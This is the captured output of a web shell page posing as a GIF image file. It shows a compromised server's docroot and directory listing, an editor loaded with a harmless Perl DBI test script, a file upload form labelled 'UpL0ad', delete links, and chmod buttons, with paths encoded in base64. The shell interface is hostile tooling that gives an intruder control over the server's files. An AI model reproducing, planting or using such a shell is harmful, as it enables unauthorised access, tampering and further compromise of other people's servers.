GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>test.pl<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM%3D&f=dGVzdC5wbA%3D%3D"><input name="f" value="test.pl"><textarea name="t">#!/usr/bin/perl -w

# $Id$
#
# Copyright (c) 1994-1998 Tim Bunce
#
# See COPYRIGHT section in DBI.pm for usage and distribution rights.


# This is now mostly an empty shell I experiment with.
# The real tests have moved to t/*.t
# See t/*.t for more detailed tests.


BEGIN {
    print &quot;$0 @ARGV\n&quot;;
    print q{DBI test application $Revision$}.&quot;\n&quot;;
    $| = 1;
}

use blib;

use DBI;

use DBI::DBD;	# simple test to make sure it's okay

use Config;
use Getopt::Long;
use strict;

our $has_devel_leak = eval {
    local $^W = 0; # silence &quot;Use of uninitialized value $DynaLoader::args[0] in subroutine entry&quot;;
    require Devel::Leak;
};

$::opt_d = 0;
$::opt_l = '';
$::opt_h = 0;
$::opt_m = 0;		# basic memory leak test: &quot;perl test.pl -m NullP&quot;
$::opt_t = 0;		# thread test
$::opt_n = 0;		# counter for other options

GetOptions(qw(d=i h=i l=s m=i t=i n=i))
    or die &quot;Usage: $0 [-d n] [-h n] [-m n] [-t n] [-n n] [drivername]\n&quot;;

my $count = 0;
my $ps = (-d '/proc') ? &quot;ps -lp &quot; : &quot;ps -l&quot;;
my $driver = $ARGV[0] || ($::opt_m ? 'NullP' : 'ExampleP');

# Now ask for some information from the DBI Switch
my $switch = DBI-&gt;internal;
$switch-&gt;trace($::opt_h); # 2=detailed handle trace

DBI-&gt;trace($::opt_d, $::opt_l) if $::opt_d || $::opt_l;

print &quot;Switch: $switch-&gt;{'Attribution'}, $switch-&gt;{'Version'}\n&quot;;

print &quot;Available Drivers: &quot;,join(&quot;, &quot;,DBI-&gt;available_drivers(1)),&quot;\n&quot;;


my $dbh = DBI-&gt;connect(&quot;dbi:$driver:&quot;, '', '', { RaiseError=&gt;1 }) or die;
$dbh-&gt;trace($::opt_h);

if (0) {
    DBI-&gt;trace(3);
    my $h = DBI-&gt;connect('dbi:NullP:','','', { RootClass=&gt;'MyTestDBI', DbTypeSubclass=&gt;'foo, bar' });
    DBI-&gt;trace(0);
    { # only works after 5.004_04:
	warn &quot;RaiseError= '$h-&gt;{RaiseError}' (pre local)\n&quot;;
	local($h-&gt;{RaiseError});# = undef;
	warn &quot;RaiseError= '$h-&gt;{RaiseError}' (post local)\n&quot;;
    }
    warn &quot;RaiseError= '$h-&gt;{RaiseError}' (post local block)\n&quot;;
    exit 1;
}

if ($::opt_m) {
    #$dbh-&gt;trace(9);
    my $level = $::opt_m;
    my $cnt = $::opt_n || 10000;

    print &quot;Using $driver, same dbh...\n&quot;;
    for (my $i=0; $i&lt;$cnt; ++$i) { mem_test($dbh, undef, $level, undef, undef, undef) }

    print &quot;Using NullP, reconnecting each time...\n&quot;;
    for (my $i=0; $i&lt;$cnt; ++$i) { mem_test(undef, ['dbi:NullP:'], $level, undef, undef, undef) }

    print &quot;Using ExampleP, reconnecting each time...\n&quot;;
    my $r_develleak = 0;
    mem_test(undef, ['dbi:NullP:'], $level, undef, undef, \$r_develleak) while 1;
    #mem_test(undef, ['dbi:mysql:VC'], $level, &quot;select * from campaigns where length(?)&gt;0&quot;, 0, undef) while 1;
}
elsif ($::opt_t) {
	thread_test();
}
else {
    
    # new experimental connect_test_perf method
    DBI-&gt;connect_test_perf(&quot;dbi:$driver:&quot;, '', '', {
	dbi_loops=&gt;3, dbi_par=&gt;20, dbi_verb=&gt;1
    });

    require Benchmark;
    print &quot;Testing handle creation speed...\n&quot;;
    my $null_dbh = DBI-&gt;connect('dbi:NullP:','','');
    my $null_sth = $null_dbh-&gt;prepare('');	# create one to warm up
    $count = 20_000;
    $count /= 10 if $ENV{DBI_AUTOPROXY};
    my $i = $count;
    my $t1 = new Benchmark;
    $null_dbh-&gt;prepare('') while $i--;
    my $td = Benchmark::timediff(Benchmark-&gt;new, $t1);
    my $tds= Benchmark::timestr($td);
    my $dur = $td-&gt;cpu_a || (1/$count); # fudge if cpu_a==0

    printf &quot;%5d NullP sth/s perl %8s %s (%s %s %s) %fs\n\n&quot;,
	    $count/$dur, $], $Config{archname},
	    $Config{gccversion} ? 'gcc' : $Config{cc},
	    (split / /, $Config{gccversion}||$Config{ccversion}||'')[0]||'',
	    $Config{optimize},
            $dur/$count;

    $null_dbh-&gt;disconnect;
}

$dbh-&gt;disconnect;

#DBI-&gt;trace(4);
print &quot;$0 done\n&quot;;
exit 0;


sub mem_test {	# harness to help find basic leaks
    my ($orig_dbh, $connect, $level, $select, $params, $r_develleak) = @_;
    $select ||= &quot;select mode,ino,name from ?&quot;;
    $params ||= [ '.' ];

    # this can be used to force a 'leak' to check memory use reporting
    #$main::leak .= &quot; &quot; x 1000;
    system(&quot;echo $count; $ps$$&quot;) if (($count++ % 2000) == 0);

    my $dbh = $orig_dbh || do {
        my ($dsn, $u, $p, $attr) = @$connect;
        $attr-&gt;{RaiseError} = 1;
        DBI-&gt;connect($dsn, $u, $p, $attr);
    };
    my $cursor_a;

    my ($dl_count, $dl_handle);
    if ($has_devel_leak &amp;&amp; $$r_develleak++) {
        $dbh-&gt;trace(2);
        $dl_count = Devel::Leak::NoteSV($dl_handle);
    }

    my $rows;
    $cursor_a = $dbh-&gt;prepare($select)		if $level &gt;= 2;
    $cursor_a-&gt;execute(@$params)		if $level &gt;= 3;
    $cursor_a-&gt;fetchrow_hashref()        	if $level &gt;= 4;
    $rows = $cursor_a-&gt;fetchall_arrayref({})	if $level &gt;= 4;
    $cursor_a-&gt;finish if $cursor_a &amp;&amp; $cursor_a-&gt;{Active};
    undef $cursor_a;

    @{$dbh-&gt;{ChildHandles}} = ();

    die Devel::Leak::CheckSV($dl_handle)-$dl_count
        if $dl_handle;

    $dbh-&gt;disconnect unless $orig_dbh;
    undef $dbh;

}


sub thread_test {
    require Thread;
    my $dbh = DBI-&gt;connect(&quot;dbi:ExampleP:.&quot;, &quot;&quot;, &quot;&quot;) || die $DBI::err;
    #$dbh-&gt;trace(4);
    my @t;
    print &quot;Starting $::opt_t threads:\n&quot;;
    foreach(1..$::opt_t) {
	print &quot;$_\n&quot;;
	push @t, Thread-&gt;new(\&amp;thread_test_loop, $dbh, $::opt_n||99);
    }
    print &quot;Small sleep to allow threads to progress\n&quot;;
    sleep 2;
    print &quot;Joining threads:\n&quot;;
    foreach(@t) {
	print &quot;$_\n&quot;;
	$_-&gt;join
    }
}

sub thread_test_loop {
    my $dbh = shift;
    my $i = shift || 10;
    while($i-- &gt; 0) {
	$dbh-&gt;selectall_arrayref(&quot;select * from ?&quot;, undef, &quot;.&quot;);
    }
}

# end.
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/libdbi-perl/examples<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmw="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&x=Y29yb2dvZmVyLnBs">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=Y29yb2dvZmVyLnBs"/>corogofer.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=Y29yb2dvZmVyLnBs&c=`+btoa(c):0" value="0644"></td><td>704</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&x=cGVybF9kYmlfbnVsbHNfdGVzdC5wbA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=cGVybF9kYmlfbnVsbHNfdGVzdC5wbA=="/>perl_dbi_nulls_test.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=cGVybF9kYmlfbnVsbHNfdGVzdC5wbA==&c=`+btoa(c):0" value="0644"></td><td>6283</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&x=cHJvZmlsZS5wbA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=cHJvZmlsZS5wbA=="/>profile.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=cHJvZmlsZS5wbA==&c=`+btoa(c):0" value="0644"></td><td>594</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&x=dGVzdC5wbA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=dGVzdC5wbA=="/>test.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGJpLXBlcmwvZXhhbXBsZXM=&f=dGVzdC5wbA==&c=`+btoa(c):0" value="0755"></td><td>5422</td></tr></table>